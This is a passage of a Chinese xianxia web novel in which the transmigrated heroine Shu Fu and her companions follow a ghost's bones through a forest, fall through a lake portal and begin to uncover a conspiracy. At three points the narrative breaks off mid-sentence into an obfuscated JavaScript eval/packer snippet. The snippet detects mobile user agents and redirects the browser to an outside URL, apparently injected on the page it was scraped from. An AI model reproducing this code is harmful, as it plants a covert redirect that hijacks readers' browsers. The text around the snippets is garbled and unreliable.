平心而论,这位白少爷的心眼倒是不坏,只不过从小被人吹多了彩虹屁,飘飘然找不着北,自以为是个不世出的天才儿童,生来就肩负着引领凡人的伟大使命。 所以,他一方面自命不凡,把队友都当成自己的马仔跟班;另一方面,他一心一意带队除妖,满腔热血,半点也没把队友往坏处想。即使别人冲他当面笑嘻嘻,背后mmp,甚至暗笑“这草包倒是一堵挡风的墙”,他也一丝一毫都感觉不到,照样昂首阔步地走在队伍前列,替大家开道兼充当炮灰,实乃白甜本甜。 如果要用一句话概括,那就是—— “地主家的傻儿子啊……” 舒凫手扶额头叹了口气。 傻白甜到这个地步,就连她也觉得于心不忍,情不自禁地想要拉他一把。所谓“傻人有傻福”,可能就是因为他们傻得令人圣母。 舒凫这么想着一转头,忽然发现那女鬼也在抬手扶额,姿势和她一模一样。一人一鬼恰好对上眼,一时间面面相觑,相顾无言。 白少爷太甜,终于连鬼都看不下去了。 …… 再说另一边,几个误上贼船的少年为了壮胆,开始有一搭没一搭地东拉西扯,靠分享废话来缓解恐惧。 舒凫初来乍到,最缺的就是信息,最爱听的就是废话,这种时候自然当仁不让,非得分出一只耳朵偷听不可。 只听一名少年说道:“白兄,我听说令堂正在给你相看,看中了姜二小姐,择日就要上姜家提亲。此话当真?” 另一人插嘴道:“真的?我怎么听说,令堂看中的是齐家姑娘,齐三爷的女儿齐新蕾?” 第三个人啥也没听说,但这不妨碍他跟风恭维:“白公子这样的人物,确实只有姜、齐两家的姑娘才配得上。齐氏族长闭关已久,齐三爷一手掌管族中大小事务,地位与族长无异。好亲事啊,恭喜白公子!” 舒凫心想:难怪齐新蕾如此骄横,原来是有个好爹。 但白恬本人却没什么兴趣,干咳一声,冷冰冰地板起面孔:“此事不必再提。我不是那种贪慕道侣家世的俗人,如果要结侣,一定要选让我一见倾心之人。” 说完偷偷朝柳如漪瞄了一眼,耳尖又变成了粉红色。 舒凫:“啊???” 什么情况? 不是,这白公子也太惨了吧? 相亲对象都是恶毒女配,一见钟情的意中人是个男的,还是个直男! 她有心开口提醒一声,却慢了一步,只听见另一名少年唉声叹气道:“白兄啊,你这就是身在福中不知福了。姜二小姐蕙质兰心,温柔娴静,好多世家公子做梦都想和她结侣呢。” “齐家的雨薇小姐也很不错啊。看见她,我就想起一条江南雨巷,其中有紫薇花一样的姑娘……” “是吗?我倒是更喜欢齐新蕾。” 有个稍大一些的少年浮想联翩,“我见过她几次,这位齐小姐活泼娇俏,热情如火,双修的时候一定很带劲儿。” 说完眯眼一笑,还附带两声猥琐的“嘿嘿”。 舒凫被这突如其来的荤话撞了一下腰,脚底一个趔趄,下意识地伸手抓住江雪声外袍,踉跄着稳住脚步。 “道友,你还好吗?” 江雪声涵养极佳,心如止水,听荤话像听念经,连眉梢都没有动上一动,“年轻人口无遮拦,不必放在心上。” “不,我不是害羞。” 舒凫压低声音回答他,“我只是觉得有点恶心。现在不适合打人,是不是?稍等,我的身体有些不听控制。” 她说完自觉有些歧义,又抬起手来比划道:“我不是觉得双修恶心,是他的态度——” “我明白。” 江雪声可有可无地一点头,语气自然得近乎散漫,“所谓的‘情话’,就是要从情人口中说出来才作数。听毫无干系的旁人讲这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310350|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,确实恶心。” 舒凫:“……” 情话我没听过,您老人家倒是真的很会说骚话。 江雪声仿佛觉得自己还不够骚,凝目沉思片刻,又漫不经心地补充了一句:“其实,你大可不必为此介怀。有些人一辈子没有双修的机会,一点元阳留到陨落,也只能趁着年轻肖想一二了。如此一想,倒有几分可怜。” 这话不好翻译,一旦翻译成现代文,那可就太恶毒了。 舒凫:“……道友,这里还有孩子呢。” 江雪声:“抱歉,失言。” 舒凫:“抱歉,我第一次看见这么理直气壮的失言。” 江雪声:“真心话,自然理直气壮。自称‘失言’是一种礼节,道友不要当真。” 舒凫:“?” ——你明明是个修仙界土著,骚话却与我这个现代人不相上下,你究竟是什么人? 这一路上她影影绰绰地意识到,江雪声和柳如漪这两人,乍一看柳如漪光彩夺目,江雪声泯然众人,是个标准的“红花绿叶”配置,其实却恰好相反。 柳如漪称呼江雪声一句“先生”,也不是随口说着玩儿的。 江雪声最大的特别,就在于他看上去没什么特别的。 他对谁都彬彬有礼,温润谦和,对谁也都带着一份不紧不慢、游刃有余的从容,仿佛万事都从眼底过,不从心上走。 他好像什么都能看破,却又偏偏什么都不点穿,隔岸观火似的,带着一点宽宏大度的凉薄。 柳如漪艳若桃李(如果男人可以叫做桃李的话),满身的花刺也是锋芒毕露,一目了然。 江雪声处事圆融,没一点棱角,看上去是个任人搓扁揉圆的好脾气,然而实际上……能够若无其事说出“七成死”、“一辈子没法双修”的男人,想也知道,他不仅和“脾气好”三个字不沾边,而且缺德到祖坟冒烟。 虚伪,实在太虚伪了。 虚伪之人大多面目可憎,江雪声的“虚伪”却并不让人讨厌,只让人觉得又好气又好笑,甚至还有一点好玩。 舒凫只觉此人骚得别具一格,生怕一不小心被他带沟里,不自觉地退远了几步,转而和柳如漪走在一处。 柳如漪会意地冲她一笑:“先生讲话很毒吧?他一向是这样的。就连这点表面礼貌,也是为了避免自己太惹眼,耗费一百年才练出来。他总说我会损人,其实与他相比,我这点微末功夫还差得远呢。” 舒凫:“你的意思是……他练了一百年,才让自己学会委婉地骂人?” 柳如漪讶然道:“你居然觉得他委婉,你人真好!我看他最多只能‘委婉’三句话,第四句就原形毕露了。” 舒凫:“……” 实不相瞒,其实她也是这么想的。 她心中好奇,忍不住多问了一句:“柳道友,你为什么要称呼他‘先生’?你们年龄相差很多吗?” “那倒不是。”柳如漪随口道,“先生其实挺年轻的,也就比我年长个三五倍吧。” “倍。” 舒凫面无表情地重复了一遍。 柳如漪点头:“对,三五倍。” 不是三五岁,而是三五倍。 舒凫还是第一次听见这种形容。 柳如漪接着道:“至于我叫他‘先生’,是因为他带过我一段时间,教过我许多东西。” 舒凫:“比如说?” 柳如漪:“比如怎样委婉地骂人。” “……” 舒凫沉默半晌,用一种毫无起伏的呆板语调说道,“是吗,那可真是一门博大精深的学问。” 物以类聚,人以群分,古人诚不欺我。 10. 玉兔 物以类聚,人以群分,古人诚不欺我。 舒凫觉得自己的人缘实在妙不可言,一会儿遇见个S,一会儿遇见个B,难得碰上一对志同道合的“神仙眷侣”,结果人家既不是眷,也不是侣。一个风情万种的美人是女装大佬,一个温文敦厚的老实人一点都不老实——老倒是老的,而且很有一点为老不尊的意思。 厉害厉害,佩服佩服。 为老不尊的江先生老神在在,少年们嫌弃骷髅晦气,他就一路替这个死无全尸的女鬼收着遗骸,还将人家的头骨托在手里,仔细端详:“这颅骨上有多处裂痕,眉心穿孔,后脑凹下一块,生前怕是吃了不少苦头。” 有胆小的女孩子缩了缩肩膀:“死状如此凄惨,岂不是要变成厉鬼……” “冤有头,债有主。” 白公子一派坦荡,一马当先地走在前方,“我们没干过亏心事,就算是厉鬼索命,也索不到我们头上。” 另一人提出疑点:“不过,这人到底是怎么死的?穷奇重现也就是这一两个月的事,如果被穷奇所杀,尸体还不至于变成白骨。” “就是啊。”其他人附和道,“就算真是穷奇,它也不至于一路走,一路啃,还一路往外吐骨头吧?” “好端端的一具尸骨,被拆解得七零八落,简直就像……就像……” ——就像分.尸现场一样。 不过这一次,分.尸的似乎是死者自己。 舒凫一路目睹了白衣少女的操作,对幕后黑手心知肚明,却不太明白她这么做的理由。 如此大费周章,像拆解模型一样拆散自己的尸骨,一节一节藏在林中,当真只是为了恶作剧吗? 总觉得没这么简单。 舒凫顿住脚步,回顾自己进入林中以后的经历,在脑海中飞快地将来龙去脉梳理了一遍,忽然意识到了什么。 准确来说,她意识到“少了点什么”。 自打他们进入藏木林以来,这一路上风平浪静,除了一堆七零八落的陈年白骨之外,没有任何异状,也没有遭遇任何危险。 但江雪声分明说过——林中有瘴气弥漫,必须服用清心丸抵御。 在他们逛街途中,柳如漪也喋喋不休地向她科普了一路“神奇生物在哪里”,简而言之就是:藏木林是个远近闻名的妖兽大本营,不仅有穷奇,还有咬人的琼枝玉兔,吃人的大幺蛾子,强抢民男生猴子的猴妖,撩而不娶采花无数的公狐狸…… “真是太可怕了!” 柳如漪一本正经地总结道。 舒凫听得一愣一愣的,愣是没明白可怕在哪里。一个抢男人,一个撩女人,他们是来搞笑的吧? 但是,眼下的问题就在于—— 无论是兔子、猴子、幺蛾子,还是其他什么奇形怪状的鬼东西,一概没有出现。 传说中的妖兽之家,干净得像是刚迎接过卫生检查。 “有一种可能性。” 舒凫小声地自言自语道,“那百来块骨头,其实铺成了一条路。一条指引我们平安穿过藏木林,抵达某个地方的路。” 【答对了。】 江雪声的嗓音在她脑海中唐突响起,【可惜,我没有准备奖品。】 舒凫:【不必了。我还有一个问题,这位姑娘既然能够化形,直接给我们带路不就好了?为什么还要用尸骨作为路标?】 【……】 江雪声罕见地沉默了一瞬间,旋即恢复平静,【依我推测,很有可能是……她必须沿途摆放带有自己气息的尸骨,循着气息给我们带路。否则,她自己也会迷失方向。】 舒凫:【意思是……】 江雪声:【意思是,她生前不认得路,死后也没有治好。】 ——是因为路痴啊?!!! 舒凫第一次知道鬼也会路痴,内心最后一点恐惧和对鬼神的敬畏一起灰飞烟灭,整个人都松垮下来。 她懒得再去细想,索性直接在脑海中提问:【那么请问,这个路痴女鬼要带我们去哪里呢?】 没有回答。 因为下一秒,答案就以一种再直观不过的形式,清清楚楚、简单粗暴地撞入了众人眼帘。 穿过幽深的密林,在崇山峻岭俯瞰之下,黑魆魆的林木掩映之间,竟然有一方开阔平静的湖水。 水天一色,光滑如镜的湖面上,倒映着漆黑的天幕,以及珍珠和钻石一般璀璨的星辰。 那湖水深邃,一眼望不见底,透不进一点光芒,就像是他们头顶那片渺远无边的天色。映在湖面上的星光却极明亮,在黑暗中熠熠生辉,硬生生造出了一片灿烂的万家灯火。 在湖岸浅滩上,孤零零躺着一小节苍白的指骨,指尖朝向湖心。 这画面美丽中透着吊诡,凄迷中暗藏险恶,所有人都看得呼吸一滞——除了白衣少女,因为死人不会呼吸。 江雪声传音道:【此地阴气积沉,若是鬼魂化形,便能拥有一副以假乱真的躯壳。想来,这位姑娘就是埋骨于此。】 但在表面上,也不知是出于什么考虑,他和柳如漪很有默契地缄口不言,假装自己只是普通的观光游客。于是白公子再次扮演领导角色,第一个开口道:“这湖中……莫非有什么东西?” “……” 舒凫心中一阵茫然。以她对《山海经》的粗浅了解,从未听说穷奇是个水陆两栖的。 有胆大的少年提议:“要不,我们下水看看?也许穷奇就在——” “胡闹!”年岁稍长的少年呵斥道,“这湖水深不见底,谁知道里面有什么东西。再说,穷奇又不是水生的,怎么会在水里?” 那白衣少女的鬼魂一心将众人引到这里,原本满脸期待地看着他们,此时不禁面色一沉,薄唇掀动,仿佛忍不住就要开口。 但白恬却比她快了一步,朗声道:“不入虎穴,焉得虎子?我们今日是来除妖,又不是来游山玩水。连这点风险都不敢冒,枉为世家子弟!” 他好像唯恐自己还不够招人恨,紧接着又加了一句:“如果你们都不敢,我愿第一个下去。” 白衣少女先是一怔,随即转怒为喜。舒凫看出她神色纯然,水下多半不会有什么危险,也就装聋作哑地不去点破。 女鬼开心了,活人们可就不开心了。 除了白公子的忠实迷弟之外,其他少年们一个个脸色阴晴不定,似乎在权衡“是要放任他送死,还是要抢先一步将他乱棍打死”。 也有人动了其他心思,没有遵循白骨的指示,而是自顾自沿着湖岸绕圈:“你们都别争啦。依我看,不如先在周围观察一番,再作定夺。” 其他人觉得有理,当下呼朋唤友,三个一群、五个一伙地分散开来,前往湖泊周围查探情况。 这一散,自然就离开了白衣少女精心设计的“安全路线”。 白衣少女的表情是崩溃的——她没想到自己一步一个脚印,一步一根骨头,舍命陪菜鸡,送佛送到西,好不容易将这群少爷小姐们全须全尾地送到这里,只差最后一步,他们竟然还能想出这种骚操作! 舒凫老早就留着心眼,一看她神色不对,连忙扬声喊道:“各位,请不要乱跑!” 根本没人理她。 妈的,太真实了。 舒凫无可奈何,只好将目光转向江雪声:“道友……” 江雪声神色不变:“还没到七成死,再等等。” 舒凫:“……” 你也太真实了! 白公子见众人不听指挥,眉心跳了两跳,一转眼看见柳如漪还在原地,眼中一点怒意立刻转为柔情:“柳姑娘,不如我们一起……” 话音未落,只听见一声少女的惊呼响起。但不同于舒凫预想的是,这声音与其说是“惊恐”、“惊吓”,倒不如说是“惊喜”。 那少女惊喜交加地喊道:“快看,有兔子!好多兔子!” 她一边喊一边雀跃,手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还是李云龙那款的。 舒凫内心的吐槽欲膨胀到无以复加,差点把她撑得爆体而亡——当然并没有,她勉强维持住一线清明,一手一个拎着两个少年衣领,二话不说将他们投入湖中。 就这么一眨眼的功夫,兔群已经风卷残云一样逼到脚边,鲨鱼似的银牙咬住了她的衣摆。 “……” 舒凫又紧张又想笑,这兔子长得实在太猎奇,还有那么一点卡通。 白恬一个箭步上前,手中提着他那把珠光宝气的佩剑,替她挑开一只兔子:“快走!” “多谢!” 舒凫百忙之中应他一声,却发现人家根本没看她,火热的目光死死黏在柳如漪身上:“柳姑娘,你千万不要离开我身边。我一定会保护你——” 柳如漪冲他意味不明地笑笑,而后素手一扬,怀中忽的多出一样物事。 舒凫凝神看去,只觉得那玩意儿形状陌生,现实中十分少见,好像只在古风仙侠类的游戏中看见过。 那是一架凤首箜篌。 柳如漪怀抱箜篌,头颈微侧,目光流转,唇畔衔着三分笑意。夜风吹拂间,一缕黑发从他脸侧滑落,鲜红裙裾如同虞美人的花瓣一样铺开,整个人比精怪更像精怪。 他修长的手指按在琴弦上,轻轻一挑,拨出了第一个音节。 然后—— 人言道“一骑当千”,绝世高手孑然一身,一剑光寒,也能胜过千军万马。 舒凫想,柳如漪大概就是那样的高手。 因为他一个人,一架箜篌,竟然弹出了一整支死亡重金属乐队的效果。 音波回荡间,不仅湖面翻卷波涛,兔子七零八落地倒了一地,就连天地也为之变色。 半分钟后,舒凫拽着白公子一把长发,忍无可忍地投了湖。 白恬:“放开我,我要和柳姑娘在一起!她不仅人美心善,而且精通音律,我这辈子就认定她了……” 舒凫:“你有病吧!” 11. 真容 凭舒凫低俗的审美情操,实在听不懂柳如漪在弹个什么玩意儿;就算能听懂,她也欣赏不来。 所以她一手捂住耳朵,一手薅了白恬一把乌黑光亮的长发,义无反顾地投了湖。 之所以拽头发,是因为白恬反抗激烈,只有这样才能有效遏制他的挣扎。 白恬:“柳——姑——娘——” 舒凫:“你——闭——嘴——” 扑通! 舒凫只听见耳边水花飞溅,眼前一片漆黑,整个人都浸入了没顶的冰冷湖水中。 白恬在她身边手脚并用地挣扎,冷不丁一肘子撞到她肩膀。她猝不及防之下灌了一大口水,一股邪火直冲脑门,恨不得当场把这位痴情少爷按到湖底。 等一等……湖底? 舒凫后知后觉地意识到,水中的状况好像不太对劲。 她睁开眼低头望去,没有看见想象中平坦开阔的湖底,也没有湖水中常见的游鱼、水草之类,只有一片煞风景的光秃岩石。 头顶灿烂明亮的星光,不知何时也消失殆尽。 在舒凫眼前,只剩下白恬剑柄上夜明珠的一线光亮,流萤似的,照亮了近在咫尺的一小方湖底,以及一面触手可及的石壁。 她莫名有种感觉——他们纵身跃入的,仿佛不是一片林中湖水,而是一座岩石打造的巨大泳池。 为了证实这一猜测,她当即一手扶住石壁,双腿在湖底的岩石上用力一蹬,一个猛子从水底窜了出来。 “咳!咳咳!” “舒姑娘,你没事吧?” 柳如漪的嗓音从旁响起。看来他一曲奏毕,也紧跟着众人纵身入水,没再祸害森林中的花花草草。 舒凫扭头望去,只见柳如漪和她一样浮在水面上,正关切地凑近前来看她:“唉,是我粗心,竟没想到给你准备一件避水的法器。你一个刚入门的小姑娘,又不像我这样皮糙肉厚的……” “我没事,柳道友不必……咦?” 舒凫胡乱揩了一把脸上的水渍,刚要回答,忽然不自觉地怔住了。 柳如漪的鬓发被水流冲散,他索性一股脑儿将珠翠钗环摘了个干净,又撩起袖子抹去脸上那些红红白白的脂粉,满头黑发锦缎一样披散下来,捧出其中苍白如玉、赛雪欺霜的一张脸。 舒凫一时愣怔,不禁再次感慨化妆文化的博大精深。成功的化妆不亚于整容,说的也就是这么回事了。 没了脂粉钗环的点缀,柳如漪的骨架仍是那副骨架,眉眼仍是那副眉眼,却不再有先前那般婀娜多姿的情态,一身妩媚都化作俊美风流。桃花眼,芙蓉面,俨然是一副天生三分女相的男子容貌。 和他一比,舒凫只觉得自己上辈子活得像个狗——简直太糙了。 柳如漪见舒凫怔怔地盯着他看,对这种目光并不陌生,偏过头冲她一笑:“好看吗?” 舒凫诚实地回答:“好看。” “自然好看。” 就在此时,头顶忽然落下一道不紧不慢的温润声音。下一个瞬间,舒凫只觉得自己整个人一轻,被人拽着背心一把提了起来,“旁人是三天打鱼,两天晒网,他是三天修炼,三天都在梳毛——能不好看吗?” 舒凫:“……” 嗓音温润,台词却委实不怎么温柔。相识还不到一天,她已经能够一眼分辨江雪声的发言风格了。 但另一方面,江雪声嘴上毫不客气,拎舒凫也跟拎猫似的,将她轻轻安放到岸边的动作却堪称小心,还顺手替她整理了一下头发。 也不知他施展了什么法术,浑身上下没沾到一滴水,即使和他们一样到湖中走了一遭,出水那一刻也依然仪容端整,风姿飘逸宛如谪仙。 至于其他那些少年,就没有这么好的本事和风度了。 有人在破口大骂:“是谁,谁招惹了琼枝玉兔?!我爹一直说女修头发长见识短,今日一见,果然如此!” 有人在尖声反驳:“休要血口喷人!小柔她确实抱了一只兔子,但那是方公子捉来送给她的!小柔主修符箓,又不懂御兽,她怎么知道这些?” 有人在心虚推诿:“这,我也不知道呀。我只是看那些兔子可爱,还会发光,就想让女孩子开心一下。” 有人在嘤嘤啜泣:“呜呜呜,我想回家,我不想待在这里……爹亲,娘亲……” 有人在冷嘲热讽:“白公子呢?他不是很厉害吗?怎么一转眼,就被一群兔子撵着跑,把我们带来这么个不见天日的鬼地方?” “……” 舒凫甩开脸上湿漉漉的长发,别过头,“呸”地吐出一口咸涩湖水——如果有可能,她倒是更想吐一口心头老血。 面前这一锅古代熊孩子大杂烩,堪称群魔乱舞,比柳如漪的死亡金属更让人头疼。 这感觉如此熟悉,就好像春运赶高铁回家,满车厢都是十二岁以下的小崽子,几乎激起她一点反社会的心。 不过,眼下却不是“脚踢北海幼儿园”的时候。 舒凫环顾四周,发觉眼前果然是一派不见天日的昏暗,依稀能看出是个洞窟,四下里除了石壁之外空无一物。他们方才上岸的地方,根本不是什么湖泊,而是洞窟中一座半大不小的水潭,正好位于一条狭长甬道的尽头。 甬道两侧的石壁上,点了一排不知什么材质的油灯,静静释放出清冷的蓝色光焰。 如同墓地中徘徊的磷火。 舒凫不是修仙界土著,但她阅文无数,没吃过猪肉也见过猪跑。联想起密林中黑宝石一样的诡异湖泊,白衣少女一路行来的殷切指引,她想也不想就得出结论: ——那座湖泊之中,必然被人设置了一座巨大的传送阵。 问题就在于,谁吃饱了撑的在湖里设阵?他们想把什么人,或者什么东西,传送到什么地方? “穷奇”曾经在藏木林附近出没,白衣少女的尸骨也在其中。林中这座古怪的传送阵,一定和他们两者都脱不开关系。 江雪声说过,当年的穷奇神出鬼没,时常在藏木林一带无故消失,从未在现场留下半点痕迹。 如果说,当年也有这样的传送阵呢? 或者,更进一步讲—— 如果说,当年有修士在背后操纵,刻意隐藏穷奇的行踪呢? 穷奇的出现,会不会从一开始就是一场人祸? “……” 舒凫有心认真思考一番,无奈耳边总有杂音干扰。她真不明白,那几个哭哭啼啼的小朋友来这里干嘛,可能是负责给白公子喊666吧。 至于白公子本人,他和舒凫一起落水,这会儿舒凫被江雪声拎着,他也被柳如漪捉小鸡一样拎在手中,轻松自如地提上了岸。 白恬一看就是个纯情少年,红着脸刚想道谢,一抬头看见“意中人”那张雌雄莫辨的脸,登时如遭雷击,嘴巴张得像能一口吞下个鸵鸟蛋。 “柳、柳柳柳姑娘,你这是……” 柳如漪:“哦,我是男人。瞧着不像么?” 像你个头啊!舒凫在内心骂了一句。 “………………” 白恬大惊之下,整个人眼神放空,目光晃晃悠悠地飘出老远,却没有因这一冲击性.事实而当场自闭。相反,他在瞬息间完成了心理建设,郑重道: “柳姑……柳公子,我对你的风姿一见倾心,细细想来,其实也无关性别。虽然需要一点时间适应,但是为了你,我也可以喜欢男人。” 柳如漪:“抱歉,我喜欢女人。” 白恬:“……” 舒凫:“……” 冤孽啊! 这都是什么事情! “白公子,你……节哀。” 眼看着白公子甫遭巨变,估摸着一时半会儿还不了魂,舒凫痛定思痛,只好代替他站出来主持大局: “各位,请先冷静下来……” 话音未落,她只感觉眼前蓦地一亮,更加令人“冷静不下来”的场景出现了。 在他们身后,黑漆漆的小水潭中忽然光华大盛,好像凭空里映照出一轮明月。 紧接着,那轮“明月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白衣少女面对舒凫,也不知出于什么缘故,面色和语气都缓和了几分,“妹子,看过话本没有?像我这样的女鬼化形,那肯定是身负惨案,沉冤待雪,必须的!找你们来也没啥事儿,就是想告诉你们,‘穷奇’到底是个什么东西。” “那……” 舒凫一时语塞,只好顺着她的话头提问,“请问,‘穷奇’究竟是个什么东西?” “那可就说来话长了。八年前,我第一次来到青城……” “住口!你这鬼怪,休要妖言惑众!” 沉冤待雪的女鬼刚起了个头,就被一旁的少年嘶哑着喉咙打断,“穷奇就是一种凶恶妖兽,为非作歹,杀人无数,人人都知道!还能有什么隐情?我看你和那妖兽是一伙的,处心积虑把我们诱骗过来,就是为了给它果腹!” 舒凫冷眼朝他一瞥,发现这少年不是别人,正是刚才捉兔子送人的“方公子”。一张大众脸上几点雀斑,龙套的一目了然。 天可怜见,她看文途中最讨厌的剧情之一,就是关键信息被龙(杠)套(精)插嘴打断。杠精们一口一个“我不信”、“你闭嘴”,将多少即将水落石出的冤情再次沉入水中,以至于误会不断加深,主角一次又一次和真相失之交臂。 退一万步讲,这白衣女鬼也算是少爷小姐们的救命恩人,方公子一个差点引怪团灭的,哪儿来的底气杠得这么欢实? 有这份自信,咋不回家杠你爹呢? 想到这里,舒凫不假思索地伸手,剑鞘勾住方公子腰带,运足力气一挑一甩,将好不容易爬上岸的少年再次抛回水里。 扑通! “……” 在水声和少年气急败坏的咒骂声中,舒凫将一点暗爽藏在心底,表面上一派云淡风轻,甚至装模作样地欠身施礼,向女鬼做了个“请”的手势。 “不好意思,你继续。” 想打断我听故事? 那我先打断你。 12. 左道 作风豪迈、一口乱炖式方言的女鬼,意外地有个很秀气的名字,叫做田馨。 舒凫看了看眼前的“甜心”,又瞄了一眼身旁的“白甜”,莫名感觉嗓子眼儿里齁得慌。 这名字取得也太甜了! 田馨姑娘被那位没眼色的方公子搅了谈兴,看着眼前一堆懵懂的歪瓜裂枣,一时间意兴索然,也懒得再给他们讲故事,只向舒凫点头道:“妹子,你跟我来。咱们边走边说,有些东西,你亲眼一看就知道了。” “我?”舒凫有点受宠若惊,“多谢田姑娘。只是不知为什么……” “什么为什么?老子高兴,看你顺眼呗。” 田馨说得豪爽,表情却一派讳莫如深,口风一转岔开话题,“对了,你知道这是啥子地方不?” “这……” 这鬼知道啊。 鬼的确知道:“此地位于青城西北方三十里,是齐家三爷的一处别庄。” “齐三爷?!” 还不等舒凫表现出惊诧之色,其他少年们已经先一步惊叫出声,“怎么会是齐家的地盘?好端端的,齐家在藏木林里开个传送阵做什么?” 田馨讥诮地一提唇角,重复道:“是啊。好端端的,齐家在藏木林开传送阵做什么?” “……” 舒凫事先推敲过一轮,心中自然明白,这座传送阵的目的地意味着什么。 穷奇曾经在藏木林一带出没,林中却不见踪迹,又有一座隐蔽的传送阵通往齐家…… 这答案几乎是明摆着的。 就连白少爷也察觉了端倪,脸色发青:“你是说,是齐家……齐三爷在豢养穷奇?八年前,穷奇之所以会神秘消失,也是因为齐家用传送阵把它转移了?他们是一伙的?” “不对。” 然而,这个“几乎明摆着的”答案,却被一道清淡温和的嗓音否定了。 舒凫错愕回头,只见江雪声不疾不徐走在她身边,壁灯幽蓝的光线投落在他脸上,看上去有一种冷淡的悲悯。 他轻声细语地说道:“齐氏族长一脉在剑道上有些造诣,其他什么三,什么四,都是不三不四的废材罢了。豢养穷奇?他们没那个本事。” 舒凫:“……” 这人的刻薄再一次令她叹为观止。 其他人也被他的狂言震惊,一个个大眼瞪小眼,好半天才回过神来。 白恬被父母按头相亲,原本就不太买什么“齐三爷”的账,顺口接话道:“那你说,这背后是谁在捣鬼?为什么藏木林里的传送阵会通往齐家?” 江雪声偏过头睨他一眼,没答话,仿佛在掂量这是个什么玩意。 在幽暗的灯光下,他那种浮于表面的“平庸寡淡”、“文质彬彬”褪了个干净,薄薄一层笑意漂在脸上,像是清晨水面上一团稀薄的雾气,虚假得有点敷衍。 与其说是魔鬼,倒不如说他像个魔头。 柳如漪察言观色,看出他不耐烦解说,便代替这纡尊降贵的魔头开了口:“齐三野心勃勃,自然是有掺一脚的。但他本事稀松,一不擅长阵法,二不擅长御兽,‘穷奇’之所以能在青城兴风作浪,归根结底,还是因为有外人插手。” 这一席话说得深入浅出,合情合理。白恬一双大眼睛里闪着倾慕的光,刚要鼓掌赞同,却只听见一道嘶哑的男声响起: “你这不男不女的东西,这里哪有你插嘴的余地?你也配议论齐小姐的父亲!” 舒凫蓦地一怔,还以为是方公子又从水里爬出来作妖,一回头才发现龙套面孔换了一张——倒也不算陌生,这人正是一开始挤兑他们“外地人不要多管闲事”,之后又倾倒于柳如漪美貌的少年。 如今看来,让他为之倾倒的美人恐怕不止一个。 同样是不自觉地被男色打动,这位少年却不像白恬一样当机立断、说弯就弯,反而自觉受到欺骗,愤怒之余还有一点恶心:“堂堂八尺男儿,却穿着女子衣裙,涂脂抹粉,忸怩作态,简直……” “简直什么?” 舒凫扶剑一笑,冷森森地截口道,“接着说啊。好一位阳刚少年郎,金钗罗裙、胭脂水粉,哪一样羞辱到你的男儿气概了?” 柳如漪原本不以为意,这会儿见她突然发难,反倒不大不小地吃了一惊,抿嘴笑道:“还是女孩子会疼人。” 白恬听见这话,神色越发黯淡:“柳姑娘……不,柳公子,他果然喜欢女人……” 舒凫:嗨嗨嗨,醒一醒。 柳如漪眉目舒展,把方才插话的少年当个屁放了,双手一笼乌云般的长发,自顾自接下去道:“舒姑娘、白公子,你们可知道,这世上最擅长阵法和御兽的,分别是哪一门哪一派?” “这……” 舒凫努力回想自己抄的笔记,“要论阵法,当世第一应属天衍门。此外,九华宗的玉衡峰,凌霄城的崆峒长老,都在阵法上颇有造诣。至于御兽,有个‘白鹿山’精于此道,但凌霄城隔三差五就去打秋风,从他们手中搜刮了不少典籍。” “不错。”柳如漪轻声道,“既然如此,你心中应该已有答案。” 舒凫先是一愣,随即反应过来——既擅长奇门阵法,又精通御兽之道,两者的重合点只有一个。柳如漪这一问,正是为了让她自己导出答案。 她低声道:“是凌霄城下的手?” 童瑶重伤而亡,童家一夕衰败,原来不仅是一段可有可无、为虐而虐的背景故事,还是一个精心策划的阴谋吗? 原著男女主一路经历九九八十一难,邂逅的恶毒女配、霸道男配、黑暗组织数不胜数,舒凫光顾着辱骂男主,早已忘了其中有没有这一段恩仇。 如今从柳如漪口中听说,她心中并无愤慨,只是淡淡想道:不愧是古早虐文,全世界都在迫害女主,真是倒霉透了。 还有少年不服气道:“也未必就是凌霄城。一个普通的传送阵而已,谁都能设,哪儿需要精通阵法了?” “谁跟你讲传送阵了?” 田馨杏眼圆睁,“我的娘,你不会真的一点都没发现吧?在那座林子里,除了瘴气、妖兽之外,还被人布下了老大一座迷阵啊!” 她胸膛里装满了经年累月、无人倾诉的孤愤,河豚一样气鼓鼓的,好不容易找到一处豁口,当即没头没尾地诉起苦来:“夭寿哦,为了琢磨出这个迷阵的解法,把外人带到湖边,天晓得我一个孤魂野鬼钻研了多少年!我连骨头架子都拆咯!” 众人:“那是你的骨头?!” 田馨:“啊哟,不小心说漏嘴了。你们就当没听见吧。” “……” 舒凫抬手扶住额头。 好在这女鬼还算靠谱,诉苦之余也没忘记正事,一路带着他们穿过狭长的地下甬道,简短地解释道:“你们也别瞎猜有的没的了。这位漂亮锅锅说得对,齐三爷确实在搞事情,他还有几个厉害的帮手,不知道是不是那个什么‘林小诚’。” “我这人没什么出息——活着时没有,死了更没有,也看不出那些人有多厉害。” 她语气轻松,台词却着实骇人听闻:“反正就是好厉害咯,他们往我脑门上一戳,我整个脑瓜就爆了。红的白的到处都是,只剩一个头盖骨还算完整,跟他妈破西瓜似的。” 田馨说起自己的死状,还是一样大大咧咧、言辞粗鲁,像在说一个无足轻重的笑话。 但她死得如此惨烈,连尸骨都无人收埋,难道真能一点都不在意吗? 